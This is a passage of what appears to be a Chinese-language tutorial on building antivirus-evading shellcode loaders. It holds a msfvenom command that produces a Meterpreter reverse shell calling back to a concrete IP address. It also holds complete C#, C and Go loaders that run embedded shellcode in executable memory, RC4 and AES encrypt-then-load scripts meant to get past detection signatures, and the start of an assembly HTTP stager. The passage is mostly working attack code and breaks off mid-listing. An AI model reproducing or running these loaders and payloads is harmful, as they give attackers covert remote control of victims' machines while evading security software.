MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);
// 將shellcode複製到可執行的記憶體頁中
CopyMemory(shellcode, buf, shellcode_size);
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 棧的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函數
NULL, // 引數
NULL, // 執行緒標誌
&dwThreadId // 執行緒ID
);
WaitForSingleObject(hThread, INFINITE); // 一直等待執行緒執行結束
return 0;
}
將加密後的payload.c寫入buf陣列裡
使用vs2019生成解決方案即可
使用msf生成
msfvenom -p windows/meterpreter/reverse_tcp LHOST=106.55.35.16 LPORT=6688 -e x86/shikata_ga_nai -i 15 -f csharp
使用下面的載入程式碼
using System;
using System.Runtime.InteropServices;
namespace TCPMeterpreterProcess
{
class Program
{
static void Main(string[] args)
{
// native function’s compiled code
// generated with metasploit
byte[] shellcode = new byte[] { 0xd9,0xf7,0xb8,0xed,0x74,0x37,0x77,0xd9,0x74,0x24,0xf4,0x5f,0x31,0xc9,0xb1,
0xb8,0x83,0xef,0xfc,0x31,0x47,0x13,0x03,0xaa,0x67,0xd5,0x82,0x8e,0x9f,0x63,
0xd0,0xe6,0x42,0x57,0xf3,0x82,0x58,0xac,0x59,0x41,0x68,0xfd,0xd3,0xa4,0x3f,
0xed,0x10,0x93,0xac,0x92,0xd2,0x08,0x4b,0xdc,0x0e,0xe7,0xee,0x1a,0x69,0xee,
0x9a,0xa7,0xb7,0x4b,0x95,0xe1,0xf9,0x85,0x69,0x35,0x76,0x8e,0xcd,0x90,0x5a,
0xf2,0xb6,0xfd,0x42,0xa7,0xf3,0x63,0x2a,0x06,0x02,0xd9,0x93,0x4d,0x38,0x87,
0x53,0x7e,0x77,0xd7,0x42,0x8c,0x1e,0x09,0x41,0xb5,0x63,0x9c,0xb4,0xc8,0x84,
0x78,0x51,0x78,0xf9,0xdc,0x72,0x9e,0x46,0x3f,0xfe,0x94,0xd6,0x04,0x2f,0x96,
0x16,0xe7,0x02,0x09,0x33,0x5c,0xe9,0x27,0x10,0x76,0x54,0xa0,0xe5,0x32,0x54,
0xfd,0x4a,0x10,0x37,0x12,0xbb,0x28,0xd6,0xe6,0xd4,0x17,0x28,0xd4,0xf0,0xc6,
0x5c,0x00,0x1c,0x54,0xec,0x67,0xa3,0xa2,0xcc,0xcf,0x4e,0x47,0x14,0xc6,0x1c,
0x29,0x34,0x33,0x97,0x9a,0x8f,0x99,0x4a,0xa8,0x0e,0x0f,0x25,0x72,0xbd,0x3c,
0x22,0xd4,0x52,0x5a,0x51,0x6c,0xab,0xdd,0x7f,0x7e,0x20,0x2f,0x43,0x21,0x9f,
0x60,0x51,0x00,0xc9,0x1c,0x88,0x36,0x12,0xb6,0xbf,0x6b,0x5d,0xbc,0x04,0xbc,
0x19,0x7b,0xdf,0x16,0x27,0xec,0x60,0x4c,0x40,0xa2,0x6e,0xd3,0x72,0x1e,0xc2,
0x50,0x84,0x53,0x7a,0x44,0xa2,0x18,0x2a,0xb8,0xb5,0x59,0x70,0xb3,0x7f,0x36,
0xb1,0xe1,0x03,0xfd,0x86,0x1d,0x84,0x12,0x29,0x64,0x50,0x95,0xbc,0xa6,0x66,
0x22,0x69,0x23,0x3e,0xc8,0x12,0x6b,0xa0,0x32,0xe1,0x4c,0xf3,0xb2,0x80,0x4b,
0x55,0x72,0x91,0x23,0x8d,0x8d,0x08,0x62,0x22,0x06,0x10,0x89,0x99,0xec,0xca,
};
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length,
MEM_COMMIT, PAGE_EXECUTE_READWRITE);
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// prepare data
IntPtr pinfo = IntPtr.Zero;
// execute native code
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
}
private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr,
UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
private static extern bool VirtualFree(IntPtr lpAddress,
UInt32 dwSize, UInt32 dwFreeType);
[DllImport("kernel32")]
private static extern IntPtr CreateThread(
UInt32 lpThreadAttributes,
UInt32 dwStackSize,
UInt32 lpStartAddress,
IntPtr param,
UInt32 dwCreationFlags,
ref UInt32 lpThreadId
);
[DllImport("kernel32")]
private static extern bool CloseHandle(IntPtr handle);
[DllImport("kernel32")]
private static extern UInt32 WaitForSingleObject(
IntPtr hHandle,
UInt32 dwMilliseconds
);
[DllImport("kernel32")]
private static extern IntPtr GetModuleHandle(
string moduleName
);
[DllImport("kernel32")]
private static extern UInt32 GetProcAddress(
IntPtr hModule,
string procName
);
[DllImport("kernel32")]
private static extern UInt32 LoadLibrary(
string lpFileName
);
[DllImport("kernel32")]
private static extern UInt32 GetLastError();
}
}
將生成的shellcode替換new byte[]陣列,用vs建立一個c#專案開啟生成解決方案即可
檔案混淆就是將shellcode進行一些加解密操作,從而繞過危險特徵
首先使用加密指令碼
替換成MSF生成的shellcodeusing System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
using System.Text;
using System.Threading.Tasks;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
namespace Payload_Encrypt_Maker
{
class Program
{
// 加密金鑰,可以更改,加解密原始碼中保持KEY一致就行
static byte[] KEY = { 0x36, 0x16, 0x38, 0x01, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x00, 0x33, 0x01, 0x33, 0x33, 0x00, 0x00 };
static byte[] IV = { 0x00, 0xcc, 0x00, 0x00, 0x00, 0xcc };
static byte[] payload = { 0xfc,0xe8,0x8f,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xd2,0x64,0x8b,0x52,0x30,
0x8b,0x52,0x0c,0x8b,0x52,0x14,0x0f,0xb7,0x4a,0x26,0x31,0xff,0x8b,0x72,0x28,
0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0x49,
0x75,0xef,0x52,0x57,0x8b,0x52,0x10,0x8b,0x42,0x3c,0x01,0xd0,0x8b,0x40,0x78,
0x85,0xc0,0x74,0x4c,0x01,0xd0,0x8b,0x58,0x20,0x50,0x8b,0x48,0x18,0x01,0xd3,
0x85,0xc9,0x74,0x3c,0x31,0xff,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,0xc0,0xac,
0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf4,0x03,0x7d,0xf8,0x3b,0x7d,0x24,
0x75,0xe0,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,
0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,
}; // 替換成MSF生成的shellcode
private static class Encryption_Class
{
public static string Encrypt(string key, string data)
{
Encoding unicode = Encoding.Unicode;
return Convert.ToBase64String(Encrypt(unicode.GetBytes(key), unicode.GetBytes(data)));
}
public static byte[] Encrypt(byte[] key, byte[] data)
{
return EncryptOutput(key, data).ToArray();
}
private static byte[] EncryptInitalize(byte[] key)
{
byte[] s = Enumerable.Range(0, 256)
.Select(i => (byte)i)
.ToArray();
for (int i = 0, j = 0; i < 256; i++)
{
j = (j + key[i % key.Length] + s[i]) & 255;
Swap(s, i, j);
}
return s;
}
private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
{
byte[] s = EncryptInitalize(key);
int i = 0;
int j = 0;
return data.Select((b) =>
{
i = (i + 1) & 255;
j = (j + s[i]) & 255;
Swap(s, i, j);
return (byte)(b ^ s[(s[i] + s[j]) & 255]);
});
}
private static void Swap(byte[] s, int i, int j)
{
byte c = s[i];
s[i] = s[j];
s[j] = c;
}
}
static void Main(string[] args)
{
byte[] result = Encryption_Class.Encrypt(KEY, payload);
int b = 0;
for (int i = 0; i < result.Length; i++)
{
b++;
if (i == result.Length + 1)
{ Console.Write(result[i].ToString()); }
if (i != result.Length) { Console.Write(result[i].ToString() + ","); }
}
}
}
}
將payload替換成MSF生成的shellcode,key不用改
點選偵錯-》開始執行(不偵錯)
這時會彈窗生成加密後的shellcode
上線的時候使用解密指令碼
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Runtime.InteropServices;
using System.Threading;
using System.Reflection;
using System.Runtime.CompilerServices;
namespace NativePayload_Reverse_tcp
{
public class Program
{
public static void Main()
{
Shellcode.Exec();
}
}
class Shellcode
{
public static void Exec()
{
string Payload_Encrypted;
Payload_Encrypted = "90,120,193,236,149,193,49,186,252,3,183,117,219,91,173,111,105,184,102,197,91,77,247,3,107,63,6,11,199,160,245,241,139,238,221,212,149,169,230,201,140,146,82,43,239,117,114,98,246,45,235,188,170,1,141,173,28,1,234,2,226,183,153,166,198,177,236,184,55,178,109,174,146,29,204,66,249,72,228,202,231,108,154,162,203,232,61,14,53,100,43,249,134,27,92,34,72,217,5,87,0,198,37,73,123,226,157,57,141,171,157,218,148,11,160,197,37,191,76,205,17,247,61,40,172,233,4,6,178,132,148,168,240,18,231,142,74,247,160,21,69,39,120,162,49,235,124,72,79,144,159,236,213,117,63,175,135,29,35,169,201,86,223,152,207,192,133,69,52,137,55,67,182,135,22,98,80,248,79,118,80,245,131,60,117,20,206,46,106,17,232,111,65,28,246,145,181,77,100,174,197,3,252,49,117,146,158,174,176,17,57,105,6,97,125,132,121,153,255,3,174,27,4,42,133,103,236,29,254,76,74,117,223,116,151,65,126,141,8,255,7,205,29,164,212,182,1,148,84,241,72,22,222,145,95,150,33,122,106,105,39,22,101,28,69,133,135,181,147,70,38,38,35,59,170,179,201,10,226,126,157,215,230,30,228,209,86,157,209,115,223,143,79,78,195,66,95,78,191,52,59,182,173,245,255,240,23,56,254,56,202,77,255,69,221,165,31,16,18,39,74,214,216,200,201,135,126,171,232,178,214,113,77,15,249,33,190,210,178,208,2,199,73,5,206,94,161,232,188,233,214,5,136,241";
string[] Payload_Encrypted_Without_delimiterChar = Payload_Encrypted.Split(',');
byte[] _X_to_Bytes = new byte[Payload_Encrypted_Without_delimiterChar.Length];
for (int i = 0; i < Payload_Encrypted_Without_delimiterChar.Length; i++)
{
byte current = Convert.ToByte(Payload_Encrypted_Without_delimiterChar[i].ToString());
_X_to_Bytes[i] = current;
}
// 解密金鑰,可以更改,加解密原始碼中保持KEY一致就行
byte[] KEY = { 0x36, 0x16, 0x38, 0x01, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x36, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x00, 0x33, 0x01, 0x33, 0x33, 0x00, 0x00 };
//byte[] KEY = { 0x33, 0x11, 0x33, 0x00, 0x00, 0x01, 0xd0, 0x00, 0x00, 0x33, 0x00, 0x00, 0x00, 0x00, 0x00, 0x33, 0x00, 0x33, 0x01, 0x33, 0x33, 0x00, 0x00 };
byte[] MsfPayload = Decrypt(KEY, _X_to_Bytes);
// 載入shellcode
IntPtr returnAddr = VirtualAlloc((IntPtr)0, (uint)Math.Max(MsfPayload.Length, 0x1000), 0x3000, 0x40);
Marshal.Copy(MsfPayload, 0, returnAddr, MsfPayload.Length);
CreateThread((IntPtr)0, 0, returnAddr, (IntPtr)0, 0, (IntPtr)0);
Thread.Sleep(2000);
}
public static byte[] Decrypt(byte[] key, byte[] data)
{
return EncryptOutput(key, data).ToArray();
}
private static byte[] EncryptInitalize(byte[] key)
{
byte[] s = Enumerable.Range(0, 256)
.Select(i => (byte)i)
.ToArray();
for (int i = 0, j = 0; i < 256; i++)
{
j = (j + key[i % key.Length] + s[i]) & 255;
Swap(s, i, j);
}
return s;
}
private static IEnumerable<byte> EncryptOutput(byte[] key, IEnumerable<byte> data)
{
byte[] s = EncryptInitalize(key);
int i = 0;
int j = 0;
return data.Select((b) =>
{
i = (i + 1) & 255;
j = (j + s[i]) & 255;
Swap(s, i, j);
return (byte)(b ^ s[(s[i] + s[j]) & 255]);
});
}
private static void Swap(byte[] s, int i, int j)
{
byte c = s[i];
s[i] = s[j];
s[j] = c;
}
[DllImport("kernel32.dll")]
public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
[DllImport("kernel32.dll")]
public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
}
}
將Payload_Encrypted替換為上面生成的加密資料,生成解決方案即可上線
使用go指令碼
package main
import (
"io/ioutil"
"os"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
shellcode_buf = []byte{
0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xc8, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x48, 0x8b, 0x52, 0x18, 0x48, 0x8b, 0x52, 0x20, 0x48, 0x8b, 0x72, 0x50, 0x48, 0x0f, 0xb7, 0x4a, 0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x48, 0x8b, 0x52, 0x20, 0x8b, 0x42, 0x3c, 0x48, 0x01, 0xd0, 0x66, 0x81, 0x78, 0x18, 0x0b, 0x02, 0x75, 0x72, 0x8b, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48, 0x85, 0xc0, 0x74, 0x67, 0x48, 0x01, 0xd0, 0x50, 0x8b, 0x48, 0x18, 0x44, 0x8b, 0x40, 0x20, 0x49, 0x01, 0xd0, 0xe3, 0x56, 0x48, 0xff, 0xc9, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x01, 0xd6, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0x0d, 0x41, 0x01, 0xc1, 0x38, 0xe0, 0x75, 0xf1, 0x4c, 0x03, 0x4c, 0x24, 0x08, 0x45, 0x39, 0xd1, 0x75, 0xd8, 0x58, 0x44, 0x8b, 0x40, 0x24, 0x49, 0x01, 0xd0, 0x66, 0x41, 0x8b, 0x0c, 0x48, 0x44, 0x8b, 0x40, 0x1c, 0x49, 0x01, 0xd0, 0x41, 0x8b, 0x04, 0x88, 0x48, 0x01, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e, 0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0, 0x58, 0x41, 0x59, 0x5a, 0x48, 0x8b, 0x12, 0xe9, 0x4f, 0xff, 0xff, 0xff, 0x5d, 0x6a, 0x00, 0x49, 0xbe, 0x77, 0x69, 0x6e, 0x69, 0x6e, 0x65, 0x74, 0x00, 0x41, 0x56, 0x49, 0x89, 0xe6, 0x4c, 0x89, 0xf1, 0x41, 0xba, 0x4c, 0x77, 0x26, 0x07, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0x48, 0x31, 0xd2, 0x4d, 0x31, 0xc0, 0x4d, 0x31, 0xc9, 0x41, 0x50, 0x41, 0x50, 0x41, 0xba, 0x3a, 0x56, 0x79, 0xa7, 0xff, 0xd5, 0xeb, 0x73, 0x5a, 0x48, 0x89, 0xc1, 0x41, 0xb8, 0xb8, 0x22, 0x00, 0x00, 0x4d, 0x31, 0xc9, 0x41, 0x51, 0x41, 0x51, 0x6a, 0x03, 0x41, 0x51, 0x41, 0xba, 0x57, 0x89, 0x9f, 0xc6, 0xff, 0xd5, 0xeb, 0x59, 0x5b, 0x48, 0x89, 0xc1, 0x48, 0x31, 0xd2, 0x49, 0x89, 0xd8, 0x4d, 0x31, 0xc9, 0x52, 0x68, 0x00, 0x02, 0x40, 0x84, 0x52, 0x52, 0x41, 0xba, 0xeb, 0x55, 0x2e, 0x3b, 0xff, 0xd5, 0x48, 0x89, 0xc6, 0x48, 0x83, 0xc3, 0x50, 0x6a, 0x0a, 0x5f, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x49, 0xc7, 0xc0, 0xff, 0xff, 0xff, 0xff, 0x4d, 0x31, 0xc9, 0x52, 0x52, 0x41, 0xba, 0x2d, 0x06, 0x18, 0x7b, 0xff, 0xd5, 0x85, 0xc0, 0x0f, 0x85, 0x9d, 0x01, 0x00, 0x00, 0x48, 0xff, 0xcf, 0x0f, 0x84, 0x8c, 0x01, 0x00, 0x00, 0xeb, 0xd3, 0xe9, 0xe4, 0x01, 0x00, 0x00, 0xe8, 0xa2, 0xff, 0xff, 0xff, 0x2f, 0x64, 0x51, 0x70, 0x38, 0x00, 0x55, 0x1d, 0xe1, 0x41, 0xaf, 0xe8, 0x9e, 0xd4, 0x95, 0x56, 0xd5, 0x42, 0x8f, 0xba, 0x24, 0x52, 0x63, 0xb5, 0x52, 0x13, 0xf9, 0x8e, 0x7f, 0xda, 0x74, 0x21, 0xbc, 0xa9, 0xc0, 0x13, 0xcf, 0x89, 0x39, 0x8a, 0x05, 0x0d, 0x4d, 0x08, 0x21, 0xf8, 0xb9, 0xae, 0xb2, 0x4b, 0xbf, 0xa0, 0x0d, 0x75, 0x2c, 0x69, 0xd4, 0x71, 0x12, 0x06, 0x41, 0x26, 0xac, 0xf8, 0x19, 0xa2, 0xf1, 0xf2, 0x3d, 0x60, 0x0c, 0xa1, 0x6f, 0x16, 0x78, 0x27, 0xe1, 0x5f, 0x88, 0x00, 0x55, 0x73, 0x65, 0x72, 0x2d, 0x41, 0x67, 0x65, 0x6e, 0x74, 0x3a, 0x20, 0x4d, 0x6f, 0x7a, 0x69, 0x6c, 0x6c, 0x61, 0x2f, 0x35, 0x2e, 0x30, 0x20, 0x28, 0x63, 0x6f, 0x6d, 0x70, 0x61, 0x74, 0x69, 0x62, 0x6c, 0x65, 0x3b, 0x20, 0x4d, 0x53, 0x49, 0x45, 0x20, 0x39, 0x2e, 0x30, 0x3b, 0x20, 0x57, 0x69, 0x6e, 0x64, 0x6f, 0x77, 0x73, 0x20, 0x4e, 0x54, 0x20, 0x36, 0x2e, 0x31, 0x3b, 0x20, 0x54, 0x72, 0x69, 0x64, 0x65, 0x6e, 0x74, 0x2f, 0x35, 0x2e, 0x30, 0x29, 0x0d, 0x0a, 0x00, 0x4a, 0x74, 0xac, 0x77, 0xbf, 0xbd, 0x1b, 0xa8, 0xef, 0x7f, 0x85, 0xed, 0xb3, 0x0c, 0x30, 0xd3, 0x5f, 0x14, 0xfc, 0xc7, 0x52, 0x4a, 0x32, 0x0b, 0xca, 0x0a, 0x94, 0x75, 0xc0, 0x4a, 0x16, 0x77, 0x3c, 0x0f, 0x59, 0x29, 0x9b, 0x9a, 0x6b, 0x9c, 0x4a, 0xfc, 0x4a, 0x8f, 0xde, 0xf6, 0x6b, 0x4c, 0xd5, 0xa4, 0xab, 0xa5, 0xc4, 0x47, 0xb6, 0x4c, 0x4a, 0x3e, 0x98, 0x70, 0xc3, 0x23, 0x3b, 0xd8, 0x46, 0x4d, 0x62, 0x10, 0x47, 0xc4, 0xf9, 0x7c, 0x45, 0xd0, 0x5b, 0xc2, 0x63, 0xfc, 0xf9, 0x40, 0x7e, 0x67, 0xa5, 0x65, 0x8d, 0x58, 0x71, 0xe4, 0xdc, 0xab, 0x10, 0x94, 0xa1, 0xf7, 0x56, 0x40, 0x51, 0x27, 0x1e, 0x7e, 0xc7, 0x67, 0x44, 0x08, 0x84, 0x5f, 0xd6, 0xdf, 0x9b, 0x34, 0x4f, 0x88, 0x46, 0xcd, 0x01, 0xf3, 0x36, 0xe3, 0xb2, 0x74, 0x36, 0x73, 0x0d, 0x88, 0x44, 0x41, 0x6e, 0x06, 0x64, 0x78, 0xe2, 0xaa, 0x3e, 0xac, 0x43, 0x45, 0xe8, 0x17, 0x91, 0x6d, 0xd8, 0xe4, 0x2e, 0x4e, 0x8a, 0x4a, 0x41, 0x3d, 0x56, 0xf2, 0xfa, 0x52, 0x8e, 0x2f, 0xa3, 0x1f, 0x29, 0x48, 0x16, 0x10, 0xbe, 0x82, 0x7c, 0xdd, 0x55, 0xbf, 0xe2, 0xd6, 0x6b, 0x2c, 0x49, 0x3c, 0x5c, 0xe2, 0x71, 0x72, 0x5f, 0x06, 0x06, 0xb0, 0xe9, 0x5d, 0x91, 0x36, 0xe5, 0x06, 0x5d, 0xa2, 0x10, 0x57, 0x55, 0x02, 0x4e, 0xa9, 0x26, 0x8d, 0x15, 0x05, 0xc3, 0x5c, 0x5e, 0xdc, 0x6e, 0xc2, 0x31, 0x57, 0x25, 0xdb, 0xc5, 0x83, 0x67, 0xc3, 0xa3, 0xd5, 0x02, 0x28, 0x54, 0xfe, 0xe5, 0x09, 0x9a, 0xf9, 0x8c, 0x71, 0xb3, 0x00, 0x41, 0xbe, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x48, 0x31, 0xc9, 0xba, 0x00, 0x00, 0x40, 0x00, 0x41, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x41, 0xb9, 0x40, 0x00, 0x00, 0x00, 0x41, 0xba, 0x58, 0xa4, 0x53, 0xe5, 0xff, 0xd5, 0x48, 0x93, 0x53, 0x53, 0x48, 0x89, 0xe7, 0x48, 0x89, 0xf1, 0x48, 0x89, 0xda, 0x41, 0xb8, 0x00, 0x20, 0x00, 0x00, 0x49, 0x89, 0xf9, 0x41, 0xba, 0x12, 0x96, 0x89, 0xe2, 0xff, 0xd5, 0x48, 0x83, 0xc4, 0x20, 0x85, 0xc0, 0x74, 0xb6, 0x66, 0x8b, 0x07, 0x48, 0x01, 0xc3, 0x85, 0xc0, 0x75, 0xd7, 0x58, 0x58, 0x58, 0x48, 0x05, 0x00, 0x00, 0x00, 0x00, 0x50, 0xc3, 0xe8, 0x9f, 0xfd, 0xff, 0xff, 0x34, 0x37, 0x2e, 0x39, 0x34, 0x2e, 0x32, 0x33, 0x36, 0x2e, 0x31, 0x31, 0x37, 0x00, 0x00, 0x01, 0x86, 0xa0,
}
)
func checkErr(err error) {
if err != nil {
if err.Error() != "The operation completed successfully." {
println(err.Error())
os.Exit(1)
}
}
}
func main() {
shellcode := shellcode_buf
if len(os.Args) > 1 {
shellcodeFileData, err := ioutil.ReadFile(os.Args[1])
checkErr(err)
shellcode = shellcodeFileData
}
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if addr == 0 {
checkErr(err)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
checkErr(err)
syscall.Syscall(addr, 0, 0, 0, 0)
}
將cs生成的shellcode放到記事本中將\替換為0,
然後替換後的程式碼放置shellcode_buf陣列中
使用
-執行1.go指令碼
go run 1.go
-編譯1.go指令碼
go build 1.go
-沒有彈窗的exe命令編譯:
go build -ldflags="-H windowsgui -w -s" 1.go
編譯成exe進行上線
載入器分裡其實就是將shellcode危險程式碼放在引數中去執行
首先cs先生成x64位元的payload.c
然後使用指令碼3.go
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"encoding/hex"
"fmt"
"math/rand"
"os"
"strings"
"time"
)
//隨機生成key,後面用來解密的
func key(l int) string {
str := "0123456789abcdefghijklmnopqrstuvwxyz"
bytes := []byte(str)
result := []byte{}
r := rand.New(rand.NewSource(time.Now().UnixNano()))
for i := 0; i < l; i++ {
result = append(result, bytes[r.Intn(len(bytes))])
}
return string(result)
}
//使用PKCS5進行填充用來
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
//進行aes加密
func AesEncrypt(origData, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
origData = PKCS5Padding(origData, blockSize)
blockMode := cipher.NewCBCEncrypter(block, key[:blockSize])
crypted := make([]byte, len(origData))
blockMode.CryptBlocks(crypted, origData)
return crypted, nil
}
//主函數入口,對字元進行了處理
func main() {
argsWithProg := os.Args
if len(argsWithProg) < 2 {
fmt.Println("usage : ", argsWithProg[0], " paylaod.c")
return
}
confFile := os.Args[1]
str2 := strings.Replace(confFile, "\\x", "", -1)
data, _ := hex.DecodeString(str2)
key1 := key(16)
fmt.Println("Key:", key1)
var key []byte = []byte(key1)
aes, _ := AesEncrypt(data, key)
encoded := base64.StdEncoding.EncodeToString(aes)
fmt.Println("Code:", encoded)
}
這個指令碼會將shellcode進行aes編碼,然後會生成一個key和加密後的程式碼
在Visual Studio Code中開啟
執行程式碼,將生成的payload.c放置引數中
go run 3.go payload.c
執行後會生成key和加密後的code
然後再使用3.1go指令碼
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"os"
"syscall"
"unsafe"
)
//這一塊是定義一些東西去載入我們的shellcode
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}
//shellcode執行函數
func Run(sc []byte) {
f := func() {}
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}
f()
}
//同樣為了保證我們的shellcode正常執行要進行PKCS5的操作
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
//經典的aes解密操作
func AesDecrypt(crypted, key []byte) ([]byte, error) {
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockSize := block.BlockSize()
blockMode := cipher.NewCBCDecrypter(block, key[:blockSize])
origData := make([]byte, len(crypted))
blockMode.CryptBlocks(origData, crypted)
origData = PKCS5UnPadding(origData)
return origData, nil
}
//執行主函數,主要是接受引數進行base64解碼,ase解碼,執行shellcode
func main() {
key1 := os.Args[1]
payload1 := os.Args[2]
encoded2, _ := base64.StdEncoding.DecodeString(payload1)
var key []byte = []byte(key1)
AES, _ := AesDecrypt(encoded2, key)
Run(AES)
}
將key和加密後的code分別放在引數中執行
執行即可上線
參考連結:https://forum.butian.net/share/1536
先下載一個asm的執行器:masm32 http://www.masm32.com/
程式碼:
func5_param應該; win.asm
.386
.MODEL flat
.STACK
.DATA
Point0 db 4 dup(0) ;GetProcAddress
Point1 db 4 dup(0) ;VirtualAlloc
Point2 db 4 dup(0) ;
Point3 db 4 dup(0) ;
Point4 db 4 dup(0) ;InternetOpenA
Point5 db 4 dup(0) ;InternetConnectA
Point6 db 4 dup(0) ;HttpOpenRequestA
Point7 db 4 dup(0) ;HttpSendRequestA
Point8 db 4 dup(0) ;InternetReadFile
Point0_dll db 4 dup(0) ;kernel32.dll
Point1_dll db 4 dup(0) ;wininet.dll
Dll1 db 76h,68h,6dh,68h,6dh,64h,73h,2dh,63h,6bh,6bh,00h ;wininet.dll
func1 db 55h,68h,71h,73h,74h,60h,6bh,40h,6bh,6bh,6eh,62h,00h ;VirtualAlloc
func3 db 4bh,6eh,60h,63h,4bh,68h,61h,71h,60h,71h,78h,40h,00h ;LoadLibraryA
func4 db 48h,6dh,73h,64h,71h,6dh,64h,73h,4eh,6fh,64h,6dh,40h,00h ;InternetOpenA
func5 db 48h,6dh,73h,64h,71h,6dh,64h,73h,42h,6eh,6dh,6dh,64h,62h,73h,40h,00h ;InternetConnectA
func6 db 47h,73h,73h,6fh,4eh,6fh,64h,6dh,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpOpenRequestA
func7 db 47h,73h,73h,6fh,52h,64h,6dh,63h,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpSendRequestA
func8 db 48h,6dh,73h,64h,71h,6dh,64h,73h,51h,64h,60h,63h,45h,68h,6bh,64h,00h ;InternetReadFile
func4_param db "aa"
func5_param db 30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h
func6_param0 db "HTTP/100",00h
func6_param1 db "/5quA",00h
func6_param2 db "GET",00
;上面都是一些函數名,dll名,引數啥的,存在資料段
.CODE
ASSUME FS:NOTHING ;指定FS,不然用FS+0x30找PEB會找不到
_START:
call Getkernel32DLL ;找kerner32.dll的地址
